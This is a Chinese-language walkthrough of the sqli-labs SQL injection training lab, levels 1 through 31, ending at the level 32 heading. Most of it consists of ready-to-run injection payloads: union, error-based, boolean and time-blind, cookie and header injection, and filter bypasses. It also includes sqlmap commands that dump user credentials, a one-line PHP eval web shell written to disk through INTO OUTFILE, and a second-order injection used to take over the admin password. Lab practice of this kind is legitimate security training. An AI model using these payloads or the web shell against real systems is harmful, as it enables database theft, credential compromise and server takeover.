sqli-labs靶场练习
less1

尝试单引号闭合,是字符型注入。
判断字段数

找回显点

收集信息

爆破数据库
1
2
3
4
5
6
7
|
爆破数据库
?id=-1' union select 1,2,group_concat(schema_name) from
information_schema.schemata--+
group_concat()函数可以让多个数据在一行显示,但是只能显示64位,可以选择截取或者用limit的方式
显示全部数据
?id=-1' union select 1,2,(schema_name) from information_schma.schemata limit
0,1--+
|

爆破表名
1
2
3
|
爆破表名
?id=-1' union select 1,2,group_concat(table_name)from information_schema.tables
where table_schema=database()--+
|

爆破字段名
1
2
3
|
爆破字段名
?id=-1' union select 1,2,group_concat(column_name)from
information_schema.columns where table_name='users'--+
|

爆破字段
1
2
3
|
爆破字段
?id=-1' union select 1,2,(select group_concat(username,0x7e,password)from
users)--+
|

less1 sqlmap的运用
1
|
python sqlmap.py -u ip --batch//跳过询问
|
python环境打开

1
2
|
猜解当前数据库名称
sqlmap.py -u ip --batch --current-db
|

1
2
|
猜解表名
sqlmap.py -u ip --batch -D "security" --tables
|

1
2
|
猜解字段
sqlmap.py -u ip -D "security" -T "users" --columns
|

1
2
|
脱库
sqmap.py -u ip -D "security" -T "users" --dump
|

less2
数字型注入
判断字段数
1
|
?id=1 or 1=2 order by 4--+
|
找到回显点,信息收集
1
|
?id=-1 union select 1,2,3--+
|
开始注入
1
2
3
4
5
6
7
8
9
10
11
12
|
爆破数据库
?id=-1 union select 1,2,group_concat(schema_name)from
information_schema.schemata--+
爆破表单名
?id=-1 union select 1,2,group_concat(table_name)from information_schema.tables
where table_schema=database()--+
爆破字段
?id=-1 union select 1,2,group_concat(column_name)from information_schema.columns
where table_name='users'--+
爆破字段内容
?id=-1 union select 1,2,(select group_concat(username,0x7e,password)from users)-
-+
|
less3
闭合方式是')
判断字段数
1
|
?id=1') and 1=1 order by 4--+
|
找回显点,信息收集,然后注入
1
2
3
4
5
6
7
8
9
10
11
12
|
爆破数据库
?id=1') and 1=2 union select 1,version(),group_concat(schema_name)from
information_schema.schemata--+
爆破表单
?id=1') and 1=2 union select 1,version(),group_concat(table_name)from
information_schema.tables where table_schema=database()--+
爆破字段
?id=1') and 1=2 union select 1,version(),group_concat(colum_name)from
information_schema.columns where table_name='users'--+
爆破数据
?id=1') and 1=2 union select 1,version(),(select
group_concat(username,0x7e,password)from users)--+
|
less4
闭合方式是")
1
2
3
4
5
6
7
8
9
|
信息收集,字段判断,爆破数据库表
?id=1") and 1=2 union select 1,version(),group_concat(table_name)from
information_schema.tables where table_schema=database()--+
爆破字段
?id=1") and 1=2 union select 1,version(),group_concat(column_name)from
information_schema.columns where table_name="users"--+
最后爆破出所有数据
?id=1") and 1=2 union select 1,version(),(select
group_concat(username,0x7e,password)from users)--+
|
less5
没有用户和id的回显,查看有无报错回显,找到闭合方式

闭合为单引号闭合,查字段数

这边输入为假的条件看看


查看源码,可以使用报错注入
报错注入
报错常用的三个函数,extractvalue(),updatexml(),floor(),还有exp(),
1
2
3
|
爆破数据库
?id=1' or/and extractvalue(1,concat(0x7e,database()/(select
database()),0x7e))--+
|

1
2
3
|
爆破数据库表
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table_schema=database()),0x7e))--+
|

1
2
3
|
爆破字段
?id=1' or extractvalue(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name='users'),0x7e))--+
|

group-concat()函数可能放不下所有内容,可以采用截取或者limit函数读取
1
2
3
|
爆破数据内容
?id=1' or extractvalue(1,concat(0x7e,(select username from users limit
0,1),0x7e))--+
|

2. 用updatexml()函数进行报错注入
1
2
3
4
5
6
7
8
9
10
11
|
爆破数据库
?id=1' or/and updatexml(1,concat(0x7e,database()/(select database()),0x7e),1)--+
爆破数据库表
?id=1' or updatexml(1,concat(0x7e,(select group_concat(table_name)from
information_schema.tables where table_schema=database()),0x7e),1)--+
爆破字段
?id=1' or updatexml(1,concat(0x7e,(select group_concat(column_name)from
information_schema.columns where table_name='users'),0x7e),1)--+
爆破数据内容
?id=1' or updatexml(1,concat(0x7e,(select password from users limit
0,1),0x7e),1)--+
|
3.通过floor()函数进行报错注入,前提需要知道有多少字段数
1
2
3
|
爆破数据库
?id=-1' union select 1,count(*),concat(0x7e,(database()),0x7e,floor(rand(0)*2))x
from information_schema.tables group by x--+
|

1
2
3
4
|
爆破数据库表
?id=-1' union select 1,count(*),concat(0x7e,(select (table_name)from
information_schema.tables where table_schema=database() limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
|

1
2
3
4
|
爆破字段
?id=-1' union select 1,count(*),concat(0x7e,(select (column_name)from
information_schema.columns where table_name='users' limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
|

1
2
3
|
爆破数据库内容
?id=-1' union select 1,count(*),concat(0x7e,(select (username)from users limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+
|

sqlmap梭less5
-dbs枚举数据库
使用-o参数优化,–batch参数进行跳过,–threads参数开启更多线程
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 -o --threads=10 -dbs --batch
|

注意,耗时过久,主要是联合查询耗时,从结果看并没有联合查询注入。
–tables枚举数据库表
添加–technique参数加速,–dbms指定
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --dbms mysql --technique E -o --threads=10 -D security --tables --batch
|

–columns枚举列
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --dbms mysql --technique E -o -D security -T users --columns --batch
|

–dump枚举数据
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-5/?id=1 --dbms mysql --technique E -o -D security -T users -C username,password --dump --batch
|

less6
把less5的单引号闭合改为双引号
less7
看回显

SQl注入的写入与读取
读取文件 load_file(文件的路径)
写入文件into outfile(),into_dumpfile()
猜闭合方式是’))
猜字段数

通过页面回显布尔方式猜解到字段数为3,能够读写需要的几个条件
-
需要高权限(root权限)
-
需要有问价写入权限secure_file_priv不是NULL
-
需要知道绝对路径
-
魔术引号gbc时关闭的 magic_quotes_gpc = Off
关键步骤:写入木马
1
2
|
?id=1')) and 1=2 union select 1,2,"<?php @eval($_POST['cmd']) ?>"%20 into
outfile "X:\\xx\\xx\\xx\\xx\\shell.php"--+
|


小问题:文件无法写入
原因是MySQL数据库里
secure_file_priv 这个参数设置为了null或者没有设这个参数。


写入后蚁剑提权。
要将url后加shell.php才能连上


less8
找到闭合方式为单引号,但是没有回显,因此报错注入的方法已经不能够实现注入

对和错返回不同的页面回显,可以采用布尔盲注的方式
布尔盲注
判断字段数

字段数为3
1
2
3
|
猜解数据库名字的长度
?id=-1' or length(database())=8--+
小tips:一那么采用逻辑或,因为无法确保前面的条件一定为真
|

1
2
3
4
5
6
|
逐一猜解数据库
?id=-1' or ascii(substr(database(),1,1))=115--+
或者
?id=-1' or ascii(mid(database(),1,1))=115--+
或者
?id=-1' or mid(database(),1,1)='s'--+
|
按照相同的方法猜解数据表的名字和字段内容
1
2
|
?id=-1' or ascii(mid(select (table_name) from information_schema.tables where
table_schema=database() limit 1,1))=?--+
|
对于布尔盲注的问题,一般采用脚本进行猜解或者使用sqlmap
sqlmap梭less8
-dbs枚举数据库
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-8/?id=1 -o -dbs --batch
|

–tables枚举数据库表
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-8/?id=1 --dbms mysql --technique B -o -D security --tables --batch
|

–columns枚举列
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-8/?id=1 --dbms mysql --technique B -o -D security -T users --columns --batch
|

–dump枚举数据
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-8/?id=1 --dbms mysql --technique B -o -D security -T users -C username,password --dump --batch
|

关于sqlmap –technique 参数
1
2
3
4
5
6
7
8
9
10
11
|
B:Boolean-based blind(布尔型注入)
E:Error-based(报错型注入)
U:Union query-based(可联合查询注入)
S:Stacked queries(可多语句查询注入)
T:Time-based blind(基于时间延迟注入)
Q:Inline queries(嵌套查询注入)
|
less9
怎么闭合都不对
试试时间盲注
1
2
|
例如
?id=-1' or if(length(database())=8,sleep(5),0)--+
|
发现界面有延迟
1
2
3
|
猜解数据库名称
?id=-1' or if(ascii(mid(database(),1,1))<=135,sleep(5),0)--+
相同的方式猜解数据表数据字段
|
sqlmap梭less9
把参数改为T

less10
与Less9的区别在于闭合方式为 双引号,同样是时间盲注
less11
进入POST注入
看见登入框,为方便注入,bp启动

单引号闭合且字段数为2

联合注入
sqlmap的POST运用
1、指定探测注入点
1
2
3
4
5
6
7
8
9
10
|
方式一
启动sqlmap探测注入点
python sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch
爆破当前数据库名
python sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch --current-db
爆破数据表
python sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch -D security --tables
最后脱库
python sqlmap.py -u ip --data="uname=admin&passwd=admin" --batch -D security -T users -
-dump
|

2、将抓包内容保存到.txt文件中

1
2
|
启动sqlmap
python sqlmap.py -r txt文件位置 -p 要扫描的点
|

1
2
3
4
5
6
|
爆破数据库
python sqlmap.py -r .txt文件位置 -p 扫描的位置 --current-db
爆破表
python sqlmap.py -r .txt文件位置 -p 扫描的位置 -D security --tables
脱库
pyhton sqlmap.py -r .txt文件位置 -p 扫描的位置 -D security --dump
|

less12

闭合方式为"),还是bp启动
联合注入和报错注入都行
1
2
|
查询数据库表
uname=-1") or extractvalue(1,concat(0x7e,(select database()),0x7e)) --+&passwd=admin&submit=Submit
|

1
2
|
爆破数据表
uname=-1") or extractvalue(1,concat(0x7e,(select (table_name)from information_schema.tables where table_schema=database() limit 2,1),0x7e)) --+&passwd=admin&submit=Submit
|

1
2
|
爆破字段名
uname=-1") or extractvalue(1,concat(0x7e,(select (column_name)from information_schema.columns where table_name='uagents' limit 3,1),0x7e)) --+&passwd=admin&submit=Submit
|

1
2
3
|
爆破字段
uname=-1") or extractvalue(1,concat(0x7e,(select username from users limit
0,1),0x7e)) --+&passwd=admin&submit=Submit
|

用updatexml()函数进行报错注入
1
2
3
4
5
6
7
8
9
10
11
|
查询数据库表
uname=-1") or updatexml(1,concat(0x7e,(select database()),0x7e),1) --+&passwd=admin&submit=Submit
爆破数据表
uname=-1") or updatexml(1,concat(0x7e,(select (table_name)from
information_schema.tables where table_schema=database() limit 2,1),0x7e),1) --+&passwd=admin&submit=Submit
爆破字段名
uname=-1") or updatexml(1,concat(0x7e,(select (column_name)from
information_schema.columns where table_name='uagents' limit 3,1),0x7e),1) --+&passwd=admin&submit=Submit
爆破字段
uname=-1") or updatexml(1,concat(0x7e,(select username from users limit
0,1),0x7e),1) --+&passwd=admin&submit=Submit
|
用floor()函数进行爆破
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
爆破数据库
uname=-1") union select count(*),concat(0x7e,database(),0x7e,floor(rand(0)*2))x
from information_schema.tables group by x--+&passwd=admin&submit=Submit
爆破数据表
uname=-1") union select count(*),concat(0x7e,(select table_name from
information_schema.tables where table_schema=database() limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+&passwd=admin&submit=Submit
爆破字段表
uname=-1") union select count(*),concat(0x7e,(select column_name from
information_schema.columns where table_name='users' limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+&passwd=admin&submit=Submit
爆破字段
uname=-1") union select count(*),concat(0x7e,(select username from users limit
0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x--+&passwd=admin&submit=Submit
|
less13
闭合方式改成‘),和less12一样
less14
闭合方式改成",和less12一样
less15
通过图片回显闭合方式为单引号闭合

正确的数据与错误数据页面回显的图片不一样,可以尝试一下布尔盲注
1
|
uname=admin' and length(database())>=8--+&passwd=admin&submit=Submit
|

不猜了,直接sqlmap
sqlmap梭less15
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-15/ --data="uname=admin&passwd=admin" --current-db
|

全选yes,直接爆破出时间盲注。
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-15/ --data="uname=admin&passwd=admin" -D security --tables
|

1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-15/ --data="uname=admin&passwd=admin" -D security -T users --dump
|

less16
闭合改为"),和less15一样
less17
注入点变为密码的地方

sqlmap梭less17
1
|
python sqlmap.py -r C:\Users\10086\Desktop\1.txt -p "passwd" -D security --dump
|

less18

网页记录了本地ip的信息,说明可能是数据库记录了本机的信息,即后台获取了一些诸如Ip的信息保存到数据库中,并且页面返回了数据包user-agent的信息,那么在请求头中就可能存在注入点
看源码

源代码标识获取浏览器信息,即user-Agent部分,表示客户端通过什么浏览器向后台请求

在后面的请求中也有将该部分进行存储添加到数据库,现在就可以通过一些手段在数据添加的同时进行注入
payload改bp中uers-agent部分
1
|
'and updatexml(1,concat(0x7e,database(),0x7e),1),1,1)#
|

sqlmap头部注入
在头部注入爆破中,sqlmap需要提高扫描等级 level和risk
1
2
3
|
level x(x为1-5) 当为2时会对头部的cookie进行扫描注入尝试,x>=3时队user-Agent,ip,referer
参数进行扫描
risk x(x 1-3) 1时进行大部分扫描 2会增加基于事件的测试语句 3会增加or语句的sql注入
|
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-18/ --data="uname=admin&passwd=admin" --level=3 --current-db
|

或者指定头部爆破
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-18/ --data="uname=admin&passwd=admin" --user-agent="*" --thread=10 --dbs
|

1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-18/ --data="uname=admin&passwd=admin" -D security --tables
|

1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-18/ --data="uname=admin&passwd=admin" -D security -T users --dump
|

或者将数据包保存下来

加上*号
1
|
python sqlmap.py -r C:\Users\10086\Desktop\1.txt --batch --level=4 -D security -T users --dump
|

less19

这次改referer
sqlmap直接梭
1
2
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-19/ --data="uname=admin&passwd=admin" --referer="*" --thread=10 --dbs
python sqlmap.py -u http://127.0.0.1/sqli-labs/Less-19/ --data="uname=admin&passwd=admin" --referer="*" -D security -T users --dump
|

或者数据包保存下来在referer后加*号
less20

登入界面有明显提示,cookie注入

知道字段数可以用floor函数进行报错注入
1
2
|
爆破数据库名
Cookie: uname=admin' union select 1,count(*),concat(0x7e,(select database()),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
|

1
2
3
|
爆破表名
Cookie: uname=admin' union select 1,count(*),concat(0x7e,(select
(table_name)from information_schema.tables where table_schema=database() limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
|

1
2
3
|
爆破字段名
Cookie: uname=admin' union select 1,count(*),concat(0x7e,(select
(column_name)from information_schema.columns where table_name='users' limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.tables group by x#
|

1
2
3
4
|
爆破字段内容
Cookie: uname=admin' union select 1,count(*),concat(0x7e,(select
username/password from users limit 0,1),0x7e,floor(rand(0)*2))x from
information_schema.tables group by x#
|

sqlmap进行cookie注入
cookie注入时用level=2,在cookie后加*;
1
2
|
python sqlmap.py -r C:\Users\10086\Desktop\1.txt --batch --level=2 -D security -T
users --dump
|

less21
登入进去发现cookie被加密了

1
2
|
admin' and 1=1 order by 4#
YWRtaW4nIGFuZCAxPTEgb3JkZXIgYnkgNCM=
|

看回显闭合方式是')

报错注入
1
2
3
4
|
admin') and updatexml(1,concat(0x7e,(select database()),0x7e),1)#
base64加密
YWRtaW4nKSBhbmQgdXBkYXRleG1sKDEsY29uY2F0KDB4N2UsKHNlbGVjdCBkYXRhYmFzZSgpKSwweDdl
KSwxKSM=
|

后面跟前面一样爆破
sqlmap进行加密注入
对进行加密注入的数据需要用到tamper模块
1
|
python sqlmap.py -r C:\Users\10086\Desktop\1.txt --batch --level=2 --tamper="base64encode.py" --current-db
|
1
|
python sqlmap.py -r C:\Users\10086\Desktop\1.txt --batch --level=2 --tamper="base64encode.py" -D security -T users --dump
|

less22
闭合方式改为’’,其他跟less21一样
less23
字符型注入但是注释符被过滤了
#和–+都被替换成空字符
只有想方法将闭合符号消耗完毕,让后台能够接收,处理掉原有的闭合方式
1
2
3
|
id=-1' or updatexml(1,concat(0x7e,(select database()),0x7e),1) and '1'='1
这样构造闭合的目的就是将原有单引号进行逃逸使查询语句变为 id='-1' xxx and '1'='1' 最后的半个
单引号用于逃逸后台的闭合方式
|

sqlmap运用
1
|
python sqlmap.py -u http://127.0.0.1/sqli-labs/sqli-labs/Less-23/?id=1 --batch -D security -T users --dump
|
无脑梭

less24
二次注入
二次注入是存储型注入,可以理解为构造恶意数据存储在数据库后,恶意数据被读取并进入
到了SQL查询语句所导致的注入。恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,
当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。简言之就是将
脏数据进行简单过滤后开发者就认为该数据可信便存入数据库中,当下一次调用该数据时,该数据就会
拼接到其他查询语句中造成注入。
注册新账号,并登入

修改密码,修改功能语句为
1
|
UPDATE users SET passwd="New_Pass" WHERE users='admin'
|
因为’和后面的引号闭合,而#又把语句注释了,所以在这里修改密码就相当于在修改admin的密码,这时候我们就是在进行越权改变管理员的密码,从数据库中抽出我们注册的新账户,用该账户越权修改
管理员的密码
修改为1234
登入admin账号

less25

and和or都被过滤了
解决思路将or变成oorr,这样后台过滤了or还剩下or或者用||代替or(and一样的方式)
1
2
3
4
|
爆破数据库名
?id=-1' oorr updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
或者
?id=-1' || updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
|

1
2
3
4
|
爆破数据表
?id=-1' oorr updatexml(1,concat(0x7e,(select group_concat(table_name)from
infoorrmation_schema.tables where table_schema=database() ),0x7e),1)--+
注意:information中也有or需要进行双写
|
后面都一样
less25a
发现与Less25的区别是数字型注入
联合注入
1
2
3
4
5
6
7
8
9
|
查询数据表
?id=-1 union select 1,database(),group_concat(table_name)from
infoorrmation_schema.tables where table_schema=database() --+
查询字段名
?id=-1 union select 1,database(),group_concat(column_name)from
infoorrmation_schema.columns where table_name='users' --+
查users
id=-1 union select 1,2,group_concat(concat_ws(0x7e,username,passwoorrd))from
security.users--+
|
less26
发现and,空格,注释都没有了
\s过滤了空格和换行,解决and or可以双写或者用&&和||代替,解决注释需要强行
闭合逃逸,需要空格的地方可以加上括号,白盒测试发现注入类型为字符型
1
2
3
|
and or ——> && ||
# -- ——> 闭合逃逸
/s ——> 括号
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
payload
?id=-1'||updatexml(1,concat(0x7e,(select(database())),0x7e),1)||'1'='1
爆破数据表
?id=-1'||updatexml(1,concat(0x7e,
(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_sc
hema=database())),0x7e),1)||'1'='1
爆破字段名
?id=-1'||updatexml(1,concat(0x7e,
(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_
name='users')),0x7e),1)||'1'='1
爆破字段内容
?id=-1'||updatexml(1,concat(0x7e,
(select(group_concat(concat_ws(username,0x3a,passwoorrd)))from(security.users)),
0x7e),1)||'1'='1
|
less26a
less26a过滤的东西与less26一致,通过测试发现闭合方式还是为单引号,并且没有报错的回显
尝试盲注

通过布尔盲注可以逐一猜解爆破
盲注的板子
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
|
盲注
?id=1'and length((select database()))>9--+
#大于号可以换成小于号或者等于号,主要是判断数据库的长度。lenfth()是获取当前数据库名的长度。如果数据库是haha那么length()就是4
?id=1'and ascii(substr((select database()),1,1))=115--+
#substr("78909",1,1)=7 substr(a,b,c)a是要截取的字符串,b是截取的位置,c是截取的长度。布尔盲注我们都是长度为1因为我们要一个个判断字符。ascii()是将截取的字符转换成对应的ascii吗,这样我们可以很好确定数字根据数字找到对应的字符。
?id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+
判断所有表名字符长度。
?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度
?id=1'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99--+
逐一判断字段名。
?id=1' and length((select group_concat(username,password) from users))>109--+
判断字段内容长度
?id=1' and ascii(substr((select group_concat(username,password) from users),1,1))>50--+
逐一检测内容。
时间盲注9
?id=1' and if(1=1,sleep(5),1)--+
判断参数构造。
?id=1'and if(length((select database()))>9,sleep(5),1)--+
判断数据库名长度
?id=1'and if(ascii(substr((select database()),1,1))=115,sleep(5),1)--+
逐一判断数据库字符
?id=1'and if(length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13,sleep(5),1)--+
判断所有表名长度
?id=1'and if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99,sleep(5),1)--+
逐一判断表名
?id=1'and if(length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20,sleep(5),1)--+
判断所有字段名的长度
?id=1'and if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'),1,1))>99,sleep(5),1)--+
逐一判断字段名。
?id=1' and if(length((select group_concat(username,password) from users))>109,sleep(5),1)--+
判断字段内容长度
?id=1' and if(ascii(substr((select group_concat(username,password) from users),1,1))>50,sleep(5),1)--+
逐一检测内容。
|
less27
直接看源码

select,union这类关键词只过滤完全大写或者完全小写,针对php这种弱类型语言,可以采用部分大写
部分小写绕过
payload
1
|
?id=1'and%0aupdatexml(1,concat(0x7e,database(),0x7e),1)or'1'='1
|
1
2
|
爆破数据表
?id=1'and%0aupdatexml(1,concat(0x7e,(selEct%0atable_name%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0alimit%0a1,1),0x7e),1)or'1'='1
|
重写绕过
1
2
3
4
5
|
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(table_name))from(information_schema.tables)where(table_schema='security'))),1))or'0 爆表
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(column_name))from(information_schema.columns)where(table_schema='security'and(table_name='users')))),1))or'0 爆字段
?id=1'or(updatexml(1,concat(0x7e,(selselecselecttect(group_concat(password,username))from(users))),1))or'0 爆密码账户
|
less27a
闭合方式改为",其他和less27一样
less28
查看源码

union select被匹配了,解决的办法就是绕过union select 即可,测试发现没有报错回显,闭合方式为')
盲注
payload(x是要猜的值)
1
|
?id=1')and(length(database()))=x%0aand('1')=('1
|

less28a
通过源码发现仅仅匹配了union select组合,其余都未匹配,与Less28一样,用盲注的方式
payload
1
|
?id=1') and length(database())=8--+
|
less29
HTTP参数污染

1
2
3
4
|
服务器端有两个部分:第一部分是tomcat为引擎的jsp型服务器,第二部分是apache为引擎的php服务
器,真正提供web服务的是php服务器,往往在tomcat的服务器处做过滤处理,功能类似于waf,由于
解析参数的机制不同,我们可以利用该原理绕过waf的检测;数据解析的顺序:tomcat从前往后,
apache从后往前。
|
此关的通关简单联合查询即可,目的是了解参数污染的原理
payload
1
2
|
?id=1&id=0' union select 1,2,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')--+
?id=1&id=0' union select 1,2,(select concat_ws(username,0x7e,password)from security.users limit 0,1)--+
|
less30
与Less29的区别为闭合方式为双引号
less31
与Less29的区别为闭合方式为双引号加括号
less32